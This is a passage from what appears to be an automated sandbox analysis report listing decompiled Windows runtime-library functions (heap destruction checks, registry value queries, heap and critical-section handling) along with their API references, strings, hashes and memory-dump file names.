					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6A91B150("May not destroy the process heap at %p\n", _t34);
					L5:
					_t11 = 0;
				}
				return _t11;
			}

0x6a9d351d
0x6a9d3525
0x6a9d352a
0x6a9d357d
0x00000000
0x6a9d358c
0x6a9d358e
0x6a9d3594
0x6a9d3599
0x6a9d359b
0x6a9d35a7
0x6a9d35a7
0x6a9d35ac
0x6a9d35ac
0x6a9d352c
0x6a9d3536
0x6a9d3555
0x6a9d355a
0x6a9d3538
0x6a9d354d
0x6a9d3552
0x6a9d3566
0x6a9d356d
0x6a9d356d
0x6a9d356d
0x6a9d35b2

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,00000000,?,?,6A96FC67), ref: 6A9D354D
DbgPrint.1105(HEAP: ,00000000,?,?,6A96FC67), ref: 6A9D355A
DbgPrint.1105(May not destroy the process heap at %p,?,00000000,?,?,6A96FC67), ref: 6A9D3566

Strings

HEAP: , xrefs: 6A9D3555
HEAP[%wZ]: , xrefs: 6A9D3548
May not destroy the process heap at %p, xrefs: 6A9D3561
RtlDestroyHeap, xrefs: 6A9D3571

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
API String ID: 3558298466-4256168463
Opcode ID: 757851e85805928b952504479f0a1ff735f47162feb88511cab735ae39b6d93a
Instruction ID: 975eba283b232fcafe1c7a7da142948d4d4724623e6bdffcac6a63383a9bd86f
Opcode Fuzzy Hash: 757851e85805928b952504479f0a1ff735f47162feb88511cab735ae39b6d93a
Instruction Fuzzy Hash: 0001043A014A049FC710EF78848CB96B3B9EB56668F32C865E41A9B352DF31E980CA54

Uniqueness

Uniqueness Score: -1.00%

Function 6A91C600, Relevance: 12.2, APIs: 8, Instructions: 225
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E6A91C600(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				char _v1036;
				intOrPtr _v1040;
				char _v1048;
				intOrPtr _v1052;
				short _v1054;
				void* _v1056;
				void* _v1060;
				long* _v1064;
				char _v1068;
				long _v1076;
				intOrPtr _v1080;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t70;
				void* _t74;
				intOrPtr _t77;
				void* _t78;
				intOrPtr* _t81;
				void* _t101;
				void* _t102;
				void* _t107;
				intOrPtr _t109;
				long* _t110;
				long* _t111;
				long* _t112;
				long* _t113;
				intOrPtr _t114;
				intOrPtr _t116;
				void* _t117;
				intOrPtr _t118;
				void* _t120;
				long _t121;
				long _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x6aa0d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E6A926D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E6A95B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t74 = RtlAllocateHeap(_t107,  *0x6aa07b9c + 0x180000, _t121);
					_v1060 = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1068);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1056);
					_push(_t116);
					_t122 = E6A959650();
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *((intOrPtr*)(_t102 + 4));
							if(_t109 == 3 || _t109 == 7) {
								if(_t114 != _t109) {
									goto L59;
								}
								_t110 = _v1064;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1068 = _t118;
								if(_t110 == 0 ||  *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								} else {
									_push( *((intOrPtr*)(_t102 + 8)));
									_t59 = _t102 + 0xc; // 0xc
									_push(_t110);
									goto L54;
								}
							} else {
								_t118 = 4;
								if(_t109 != _t118) {
									if(_t109 != 0xb) {
										if(_t109 == 1) {
											if(_t114 != _t118) {
												_t118 =  *((intOrPtr*)(_t102 + 8));
												_v1068 = _t118;
												if(_t118 > _t77) {
													L10:
													_t122 = 0x80000005;
													L11:
													_t81 = _v1048;
													if(_t81 != 0 && (_t122 >= 0 || _t122 == 0x80000005)) {
														 *_t81 = _t118;
													}
													L15:
													_t78 = _v1060;
													if(_t78 != 0) {
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t78);
													}
													_t68 = _t122;
													goto L4;
												}
												_push(_t118);
												_t56 = _t102 + 0xc; // 0xc
												_push(_v1064);
												L54:
												memcpy();
												_t125 = _t125 + 0xc;
												goto L11;
											}
											if(_t77 != _t118) {
												L34:
												_t122 = 0xc0000004;
												goto L15;
											}
											_t111 = _v1064;
											if((_t111 & 0x00000003) == 0) {
												_v1068 = _t118;
												if(_t111 == 0) {
													goto L10;
												}
												_t42 = _t102 + 0xc; // 0xc
												_v1052 = _t42;
												_v1056 =  *((intOrPtr*)(_t102 + 8));
												_v1054 =  *((intOrPtr*)(_t102 + 8));
												_t122 = RtlUnicodeStringToInteger( &_v1056, 0, _t111);
												L44:
												_t118 = _v1080;
												goto L11;
											}
											_t122 = 0x80000002;
											goto L15;
										}
										_t122 = 0xc0000024;
										goto L44;
									}
									if(_t114 != _t109) {
										L59:
										_t122 = 0xc0000024;
										goto L15;
									}
									_t118 = 8;
									if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
										goto L34;
									} else {
										_t112 = _v1064;
										_v1068 = _t118;
										if(_t112 == 0) {
											goto L10;
										}
										 *_t112 =  *(_t102 + 0xc);
										_t112[1] =  *(_t102 + 0x10);
										goto L11;
									}
								}
								if(_t114 != _t118) {
									goto L59;
								}
								if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								} else {
									_t113 = _v1064;
									_v1068 = _t118;
									if(_t113 == 0) {
										goto L10;
									}
									 *_t113 =  *(_t102 + 0xc);
									goto L11;
								}
							}
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						if(_t118 <= _a20) {
							_t114 =  *((intOrPtr*)(_t102 + 4));
							_t77 = _t118;
							goto L26;
						}
						_v1068 = _t118;
						goto L10;
					}
					if(_t122 != 0x80000005) {
						goto L15;
					}
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1076;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E6A959650();
				if(_t122 >= 0) {
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x6a91c608
0x6a91c615
0x6a91c625
0x6a91c62d
0x6a91c635
0x6a91c640
0x6a91c680
0x6a91c687
0x6a91c688
0x6a91c689
0x6a91c694
0x6a91c694
0x6a91c642
0x6a91c64a
0x6a91c697
0x6a987a25
0x6a987a2b
0x6a987a30
0x6a987bea
0x6a987bea
0x00000000
0x6a987bea
0x6a987a43
0x6a987a48
0x6a987a4e
0x00000000
0x00000000
0x6a987a58
0x6a987a5a
0x6a987a5b
0x6a987a5c
0x6a987a5d
0x6a987a63
0x6a987a64
0x6a987a6a
0x6a987a6e
0x6a9879cb
0x6a9879cb
0x6a9879d0
0x6a987a98
0x6a987a9b
0x6a987a9b
0x6a987aa1
0x6a987bc0
0x00000000
0x00000000
0x6a987bc2
0x6a987bc6
0x6a987bc9
0x6a987bcf
0x00000000
0x6a987bde
0x6a987ba9
0x6a987bac
0x6a987bb0
0x00000000
0x6a987bb0
0x6a987ab0
0x6a987ab2
0x6a987ab5
0x6a987aef
0x6a987b28
0x6a987b64
0x6a987b8f
0x6a987b92
0x6a987b98
0x6a9879e6
0x6a9879e6
0x6a9879eb
0x6a9879eb
0x6a9879f1
0x6a9879ff
0x6a9879ff
0x6a987a01
0x6a987a01
0x6a987a07
0x6a987a15
0x6a987a15
0x6a987a1a
0x00000000
0x6a987a1a
0x6a987b9e
0x6a987b9f
0x6a987ba3
0x6a987bb1
0x6a987bb1
0x6a987bb6
0x00000000
0x6a987bb6
0x6a987b68
0x6a987ae2
0x6a987ae2
0x00000000
0x6a987ae2
0x6a987b6e
0x6a987b75
0x6a987b81
0x6a987b87
0x00000000
0x00000000
0x6a987b31
0x6a987b34
0x6a987b3c
0x6a987b46
0x6a987b57
0x6a987b59
0x6a987b59
0x00000000
0x6a987b59
0x6a987b77
0x00000000
0x6a987b77
0x6a987b2a
0x00000000
0x6a987b2a
0x6a987af3
0x6a987be0
0x6a987be0
0x00000000
0x6a987be0
0x6a987afb
0x6a987afe
0x00000000
0x6a987b05
0x6a987b05
0x6a987b09
0x6a987b0f
0x00000000
0x00000000
0x6a987b18
0x6a987b1d
0x00000000
0x6a987b1d
0x6a987afe
0x6a987ab9
0x00000000
0x00000000
0x6a987ac1
0x00000000
0x6a987ac8
0x6a987ac8
0x6a987acc
0x6a987ad2
0x00000000
0x00000000
0x6a987adb
0x00000000
0x6a987adb
0x6a987ac1
0x6a987aa1
0x6a9879d6
0x6a9879dc
0x6a987a91
0x6a987a94
0x00000000
0x6a987a94
0x6a9879e2
0x00000000
0x6a9879e2
0x6a987a7a
0x00000000
0x00000000
0x6a987a8a
0x6a987a21
0x6a987a21
0x00000000
0x6a987a21
0x6a91c650
0x6a91c651
0x6a91c656
0x6a91c65c
0x6a91c65d
0x6a91c663
0x6a91c664
0x6a91c66a
0x6a91c66e
0x6a9879c7
0x00000000
0x6a9879c7
0x6a91c67a
0x00000000
0x00000000
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,?,?,?,?), ref: 6A91C639
ZwQueryValueKey.1105(?,?,00000002,?,00000400,?,?,?,?,?,?), ref: 6A91C665
RtlFreeHeap.1105(?,00000000,00000002,?,?,00000002,00000000,?,?,?,?), ref: 6A987A15
RtlAllocateHeap.1105(?,?,?,?,?,?,?,?), ref: 6A987A43
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?,?), ref: 6A987A65
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6A987A8A
RtlUnicodeStringToInteger.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6A987B52
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,?,?,?), ref: 6A987BB1

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeQueryStringUnicodeValue$AllocateInitIntegermemcpy
String ID:
API String ID: 3015855070-0
Opcode ID: 67629274aa467e8a20fa48e4c63be836b39862e5cebf4d79caa058dd6bab90c8
Instruction ID: aeea1ab24dd50c30a42ea685f8de79cff72586e297fd9aa059826ae24cd7a7d2
Opcode Fuzzy Hash: 67629274aa467e8a20fa48e4c63be836b39862e5cebf4d79caa058dd6bab90c8
Instruction Fuzzy Hash: 3F81A0B67482019FDB11CE18C880B2AB3E9EF85354F354C6EED649B241DB31ED41CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A915050, Relevance: 12.1, APIs: 8, Instructions: 133
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A915050(intOrPtr _a4) {
				char _v20;
				void* _v24;
				long _v26;
				void* _v28;
				void* _v40;
				void* _v42;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v64;
				intOrPtr _t34;
				void* _t36;
				void* _t38;
				signed short _t41;
				signed int _t51;
				void* _t58;
				void* _t60;
				void* _t69;
				intOrPtr _t74;
				long _t78;
				void* _t79;
				void* _t80;
				void* _t81;
				signed int _t82;
				void* _t84;

				_t84 = (_t82 & 0xfffffff8) - 0x1c;
				_t34 =  *[fs:0x30];
				_t58 =  *(_t34 + 0x18);
				_t74 =  *((intOrPtr*)(_t34 + 0x10));
				_v28 = _t58;
				if(E6A91519E(_a4) != 0) {
					_t36 = 0;
					L14:
					return _t36;
				}
				if(E6A9374C0(_a4) != 0) {
					_t36 = 0xc0000103;
				} else {
					_t78 =  *(_t74 + 0x26) & 0x0000ffff;
					while(1) {
						_t38 = RtlAllocateHeap(_t58, 0, _t78);
						_v24 = _t38;
						if(_t38 == 0) {
							break;
						}
						_v28 = 0;
						if(_t78 > 0xffff) {
							_v26 = 0xffff;
							L25:
							_t79 = 0xc0000095;
							L26:
							RtlFreeHeap(_t58, 0, _t38);
							_t36 = _t79;
							goto L14;
						}
						_v26 = _t78;
						_t80 = E6A936E30(_a4, _t78, _t38, 0, 0,  &_v20);
						if(_t80 == 0) {
							_t79 = 0xc0000033;
							L23:
							_t38 = _v24;
							goto L26;
						}
						_t41 = _v26;
						if(_t80 > (_t41 & 0x0000ffff) - 4) {
							__eflags =  *((char*)( *[fs:0x30] + 3));
							if(__eflags >= 0) {
								_t41 = _v26;
								goto L7;
							}
							RtlFreeHeap(_t58, 0, _v24);
							_t78 = _t80 + 4;
							continue;
						}
						L7:
						_t72 = _t41 & 0x0000ffff;
						if(_t80 > (_t41 & 0x0000ffff)) {
							_t79 = 0xc0000106;
							goto L23;
						}
						_t92 = _t80 - 0xffff;
						if(_t80 > 0xffff) {
							_v28 = 0xffff;
							_t38 = _v24;
							goto L25;
						}
						_v28 = _t80;
						_t60 = E6A94F0BF( &_v28, _t72, _t92, _t84 + 0x14);
						RtlFreeHeap(_v40, 0, _v28);
						if(_t60 >= 0) {
							L6A92EEF0(0x6aa079a0);
							_t69 = _v44;
							_t81 =  *0x6aa08210;
							 *((intOrPtr*)(_t74 + 0x2c)) =  *((intOrPtr*)(_t69 + 4));
							 *((intOrPtr*)(_t74 + 0x28)) =  *((intOrPtr*)(_t69 + 0x10));
							 *((short*)(_t74 + 0x24)) =  *((intOrPtr*)(_t69 + 0xc));
							 *0x6aa08210 = _t69;
							_t51 = E6A92EB70(_t69, 0x6aa079a0);
							if(_t81 != 0) {
								asm("lock xadd [esi], eax");
								if((_t51 | 0xffffffff) == 0) {
									_push( *((intOrPtr*)(_t81 + 4)));
									E6A9595D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t81);
								}
							}
						}
						_t36 = _t60;
						goto L14;
					}
					_t36 = 0xc0000017;
				}
			}

0x6a915058
0x6a91505b
0x6a915066
0x6a91506a
0x6a91506d
0x6a915078
0x6a91519a
0x6a915191
0x6a915197
0x6a915197
0x6a915088
0x6a970c21
0x6a91508e
0x6a91508e
0x6a915092
0x6a915096
0x6a91509b
0x6a9150a1
0x00000000
0x00000000
0x6a9150ae
0x6a9150b5
0x6a970c72
0x6a970c77
0x6a970c77
0x6a970c7c
0x6a970c80
0x6a970c85
0x00000000
0x6a970c85
0x6a9150bf
0x6a9150d4
0x6a9150d8
0x6a970c67
0x6a970c6c
0x6a970c6c
0x00000000
0x6a970c6c
0x6a9150de
0x6a9150eb
0x6a970c31
0x6a970c35
0x6a970c4b
0x00000000
0x6a970c4b
0x6a970c3e
0x6a970c43
0x00000000
0x6a970c43
0x6a9150f1
0x6a9150f1
0x6a9150f6
0x6a970c55
0x00000000
0x6a970c55
0x6a915101
0x6a915103
0x6a970c5c
0x6a970c61
0x00000000
0x6a970c61
0x6a91510d
0x6a915120
0x6a915128
0x6a91512f
0x6a915136
0x6a91513b
0x6a91513f
0x6a91514d
0x6a915153
0x6a91515a
0x6a91515e
0x6a915164
0x6a91516b
0x6a915170
0x6a915174
0x6a915176
0x6a915179
0x6a91518a
0x6a91518a
0x6a915174
0x6a91516b
0x6a91518f
0x00000000
0x6a91518f
0x6a970c8c
0x6a970c8c

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6A915096
RtlFreeHeap.1105(?,00000000,00000000,00000000,?), ref: 6A970C80

Part of subcall function 6A936E30: memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6A936F17

RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6A915128
RtlEnterCriticalSection.1105(6AA079A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6A915136
RtlLeaveCriticalSection.1105(6AA079A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6A915164
ZwClose.1105(?,6AA079A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000), ref: 6A915179
RtlFreeHeap.1105(?,00000000,?,?,6AA079A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000), ref: 6A91518A
RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6A970C3E

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$CriticalSection$AllocateCloseEnterLeavememset
String ID:
API String ID: 1968905909-0
Opcode ID: 01c6305b94eb143ed2053c0e702e72051f04d7f4a00ffef97293ec6895846b6a
Instruction ID: 9562bc4769242bba44464e555c77f38a1044a7366168d1d7d809c921259cd882
Opcode Fuzzy Hash: 01c6305b94eb143ed2053c0e702e72051f04d7f4a00ffef97293ec6895846b6a
Instruction Fuzzy Hash: E441E435608312AFD320DF28C884B6AB7A4EF65714F360929F9A69B251DF31DC41C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 6A94513A, Relevance: 10.8, APIs: 7, Instructions: 258
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6A94513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				int _v28;
				int* _v32;
				signed int _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				void* _t165;
				signed int _t172;
				signed int _t181;
				void* _t185;
				void* _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				intOrPtr _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr _t230;
				void** _t233;
				signed int _t234;
				signed int _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t241;
				void* _t246;
				signed int _t247;
				signed int _t248;
				void* _t249;
				void* _t252;
				void* _t253;
				signed int _t254;
				signed int _t256;
				signed int _t257;

				_t256 = (_t254 & 0xfffffff8) - 0x6c;
				_v8 =  *0x6aa0d360 ^ _t256;
				_v32 = _v32 & 0x00000000;
				_t252 = __edx;
				_t238 = __ecx;
				_t212 = 6;
				_t246 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t246, 0, _t212 << 2);
				_t257 = _t256 + 0xc;
				_t247 = _t246 + _t212;
				if(_t207 == 2) {
					_t248 =  *(_t238 + 0x60);
					_t208 =  *(_t238 + 0x64);
					_v63 =  *((intOrPtr*)(_t238 + 0x4c));
					_t159 =  *((intOrPtr*)(_t238 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t238 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t248;
					L8:
					_t214 = 0;
					if( *(_t238 + 0x74) > 0) {
						_t82 = _t238 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = 1 + _t214;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t238 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t238 +  *((intOrPtr*)(_v88 + _t238 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t238 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t238 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t241 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t252 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t241 + 0x4e) & 0x7fff)) {
								_t181 = E6A95D0F0(1, _t226 + 0x20, 0);
								_t230 = _v40;
								 *(_t230 + 8) = _t181;
								 *((intOrPtr*)(_t230 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t250 = _t127;
								E6A932280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *(_t210 + 0x94);
								if(_t185 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t185);
								}
								_t189 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v20 + 0x10);
								 *(_t210 + 0x94) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v28;
									( *(_t210 + 0x94))[3] = _v24;
									_t233 =  *(_t210 + 0x94);
									 *_t233 =  &(_t233[4]);
									_t233[1] = _t233[1] & 0x00000000;
									memcpy( *( *(_t210 + 0x94)), _v36, _v28);
									_t257 = _t257 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E6A92FFB0(_t210, _t250, _t250);
								_t222 = _v84;
								_t172 = _v88;
								_t208 = _v92;
								_t248 = _v96;
								L10:
								_t239 =  *((intOrPtr*)(_t252 + 0x1c));
								_v44 = _t239;
								if(_t239 != 0) {
									 *0x6aa0b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t248, _t208, _v32,  *((intOrPtr*)(_t252 + 0x20)));
									_v44();
								}
								_pop(_t249);
								_pop(_t253);
								_pop(_t209);
								return E6A95B640(0, _t209, _v8 ^ _t257, _t239, _t249, _t253);
							}
							_t181 = _v92;
							L31:
							_t226 = 1 + _t226;
							_t181 = _t181 + 0x18;
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t248 = _t247 | 0xffffffff;
				_t208 = _t248;
				_v84 = _t248;
				_v80 = _t208;
				if( *((intOrPtr*)(_t252 + 0x4c)) == _t157) {
					_t234 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t252 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t252 + 0x40);
					_t234 = _v72 |  *(_t252 + 0x44);
					_t248 =  *(_t252 + 0x38);
					_t208 =  *(_t252 + 0x3c);
					_v76 = _t202;
					_v72 = _t234;
					_v84 = _t248;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t234;
				if( *((char*)(_t252 + 0xc4)) != 0) {
					_t238 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t252 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t252 + 0xc5));
						_t238 = _v48;
					}
					_t203 = _t202 |  *(_t252 + 0xb8);
					_t235 = _t234 |  *(_t252 + 0xbc);
					_t248 = _t248 &  *(_t252 + 0xb0);
					_t208 = _t208 &  *(_t252 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t235;
					_v72 = _t235;
					_v84 = _t248;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t248 = 0;
					 *(_t238 + 0x74) =  *(_t238 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x6a945142
0x6a94514c
0x6a945150
0x6a945157
0x6a945159
0x6a94515e
0x6a945165
0x6a945169
0x6a94516c
0x6a945172
0x6a945176
0x6a94517a
0x6a94517a
0x6a94517a
0x6a94517f
0x6a986d8b
0x6a986d8e
0x6a986d91
0x6a986d95
0x6a986d98
0x6a986d9c
0x6a986da0
0x6a986da3
0x6a986da7
0x6a986e26
0x6a986e26
0x6a986e2a
0x6a9451f9
0x6a9451f9
0x6a9451fe
0x6a986e33
0x6a986e33
0x6a986e39
0x6a986e3d
0x6a986e46
0x6a986e50
0x00000000
0x00000000
0x6a986e52
0x6a986e53
0x6a986e56
0x6a986e5d
0x00000000
0x00000000
0x00000000
0x6a986e5f
0x6a986e67
0x6a986e77
0x6a986e7f
0x6a986e80
0x6a986e88
0x6a986e90
0x6a986e9f
0x6a986ea5
0x6a986ea9
0x6a986eb1
0x6a986ebf
0x00000000
0x00000000
0x6a986ecf
0x6a986ed3
0x00000000
0x00000000
0x6a986edb
0x6a986ede
0x6a986ee1
0x6a986ee8
0x6a986eeb
0x6a986eed
0x6a986ef0
0x6a986ef4
0x6a986ef8
0x6a986efc
0x00000000
0x00000000
0x6a986f0d
0x6a986f11
0x6a986f32
0x6a986f37
0x6a986f3b
0x6a986f3e
0x6a986f41
0x6a986f46
0x00000000
0x00000000
0x6a986f4c
0x6a986f50
0x6a986f50
0x6a986f54
0x6a986f62
0x6a986f65
0x6a986f6d
0x6a986f7b
0x6a986f7b
0x6a986f93
0x6a986f98
0x6a986fa0
0x6a986fa6
0x6a986fb3
0x6a986fb6
0x6a986fbf
0x6a986fc1
0x6a986fd5
0x6a986fda
0x6a986fda
0x6a986fdd
0x6a986fe2
0x6a986fe7
0x6a986feb
0x6a986fef
0x6a986ff3
0x6a94520c
0x6a94520c
0x6a94520f
0x6a945215
0x6a945234
0x6a94523a
0x6a94523a
0x6a945244
0x6a945245
0x6a945246
0x6a945251
0x6a945251
0x6a986f13
0x6a986f17
0x6a986f17
0x6a986f18
0x6a986f1b
0x6a986f1f
0x6a986f23
0x00000000
0x6a986f28
0x6a945204
0x6a945204
0x6a945208
0x00000000
0x6a945208
0x6a945185
0x6a945188
0x6a94518a
0x6a94518e
0x6a945195
0x6a986db1
0x6a986db5
0x6a986db9
0x6a94519b
0x6a94519b
0x6a94519e
0x6a9451a7
0x6a9451a9
0x6a9451a9
0x6a9451b5
0x6a9451b8
0x6a9451bb
0x6a9451be
0x6a9451c1
0x6a9451c5
0x6a9451c9
0x6a9451cd
0x6a9451cd
0x6a9451d8
0x6a9451dc
0x6a9451e0
0x6a986dcc
0x6a986dd0
0x6a986dd5
0x6a986ddd
0x6a986de1
0x6a986de1
0x6a986de5
0x6a986deb
0x6a986df1
0x6a986df7
0x6a986dfd
0x6a986e01
0x6a986e05
0x6a986e09
0x6a986e0d
0x6a986e11
0x6a986e11
0x6a9451eb
0x6a986e1a
0x6a986e1f
0x6a986e21
0x6a986e23
0x00000000
0x6a9451f1
0x6a9451f1
0x00000000
0x6a9451f1

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,-00000054,6AA086CC,?,000000FF,?,000000A0,?), ref: 6A945234

Memory Dump Source

